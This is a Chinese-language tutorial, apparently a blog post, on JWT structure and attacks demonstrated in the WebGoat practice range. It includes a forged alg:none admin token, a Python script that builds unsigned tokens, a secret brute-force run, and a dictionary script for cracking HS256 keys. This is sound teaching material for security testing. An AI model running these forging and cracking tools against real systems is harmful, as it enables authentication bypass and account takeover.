一、JWT介绍
JWT(JSON Web Token) 是WEB上用于确认客户端和服务端用户身份认证的token令牌,保存了用户的登录信息。用户登录,由服务端用加密算法对JWT进行签发,前端发送带有用户信的JWT由服务端校验(用户名、失效等信息),并将令牌保存在前端本地。
JWT官网默认的示例,令牌采用 base64 编码,并由三部分组成
1、头部(Header),JWT元数据的JSON对象
{
"alg":"HS256", # 签名使用的算法
"typ":"JWT" # token的类型为JWT
}
2、声明(payload),主体内容部分,跟H5 body一样,不过JWT默认只有七个参数,根据实际需要自行填写
{
"sub": "Admin::110110",
"clientId": "1539805943529823283",
"exp": 1851718216,
"iat": 1851113416,
"username": "Admin::110110"
}
iss:JWT签发人
exp:用户认证的失效时间(大于签发时间)
sub:主题
aud:用户
nbf:定义此时间之前,该JWT不可用
iat:JWT 签发时间
jti:JWT ID身份标识
3、签名(Signature)
签名是对上面两部分做哈希数据签名(指定算法),来确保数据不会被篡改,保证数据的完整性校验。
需要使用base64编码后的header和payload数据。此部分保存在服务端。
HMACSHA256(
base64UrlEncode(header) + "." +
base64UrlEncode(payload),
miyao # 密钥值
<---示例:三个部分组成json的字符串,每个部分由 . 分割,创建JWT对象--->
eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJTdXBlckFkbWluOjoxNDkxMzU0MDQ1MjUwNTQzNjE4IiwiY2xpZW50SWQiOiIxNTE5NTA1OTIzMTI5ODIzMjMzIiwiZXhwIjoxNjUxNzE4MjE3LCJpYXQiOjE2NTExMTM0MTcsInVzZXJuYW1lIjoiU3VwZXJBZG1pbjo6MTQ5MTM1NDA0NTI1MDU0MzYxOCJ9.IT14ZUV48s-VqzHurB3TZC-mX3mZ9OCBIFK7u-qAwVs
二、JWT安全漏洞
WebGoat 小靶场为演示,主要了解JWT的作用
《管理员盗用-重复投票》 1、将数据包中的cookie复制到 jwt.io进行解码,看到有admin:false这个参数,就知道有逻辑绕过的可能。
2、修改以下admin为ture和alg为none
{
"alg": "none"
}
编码后为 ewogICJhbGciOiAibm9uZSIKfQ==
{
"iat": 1652417270,
"admin": "true",
"user": "Sylvester"
}
编码后为 eyJpYXQiOjE2NTI0MTcyNzAsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJTeWx2ZXN0ZXIifQ
"在HTTP传输过程中,Base64编码中的"=","+","/“等特殊符号通过URL解码通常容易产生歧义,在Base64 URL编码中,”+“会变成”-","/“会变成”_","="会被去掉,以此达到url safe的目的。
ewogICJhbGciOiAibm9uZSIKfQ.eyJpYXQiOjE2NTI0MTcyNzAsImFkbWluIjoidHJ1ZSIsInVzZXIiOiJTeWx2ZXN0ZXIifQ.
3、结合burp转发,已成功投票
《jwt.io 解码小脚本》
import base64
def jwtBase64Encode(x):
return base64.b64encode(x.encode('utf-8')).decode().replace('+', '-').replace('/', '_').replace('=', '')
header = input("[*] 输入header部分的明文,放一行:")
payload = input("[*] 输入payload部分的明文,放一行:")
print(jwtBase64Encode(header)+'.'+jwtBase64Encode(payload)+'.')
《jwtcrack 密钥爆破工具——字符序列穷举方式暴破》
[root@kali:/opt/c-jwt-cracker-master ]
[root@kali:/opt/c-jwt-cracker-master ]
Secret is "Sn1f"
《python弱密钥脚本猜解——字典》
#!/usr/bin/python3
import jwt
jwt_json='eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTYxNTAyMTAzNiwiZXhwIjoxNjE1MDIyMjM2LCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.x_ENVoZZRSDnjUqKHOAOYvTDrAtzfLw-_i02Qqry7so'
with open('jwt.secrets.list', encoding='utf-8') as f:
for line in f:
key = line.strip()
try:
jwt.decode(jwt_json, verify=True, key=key, algorithms='HS256')
print('found key! --> ' + key)
break
except(jwt.exceptions.ExpiredSignatureError, jwt.exceptions.InvalidAudienceError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.InvalidIssuedAtError, jwt.exceptions.ImmatureSignatureError):
print('found key! --> ' + key)
break
except(jwt.exceptions.InvalidSignatureError):
print('verify key! -->' + key)
continue
else:
print("key not found!")
脚本转载:https://www.jianshu.com/p/223b9112fc5e
JWT弱签名-应用扫描
结合以上靶场的演示案例,利用解码工具查看数据,是否有铭感参数,对JWT令牌进行修改,如uid遍历,user伪造,alg空算法等方面验证。
|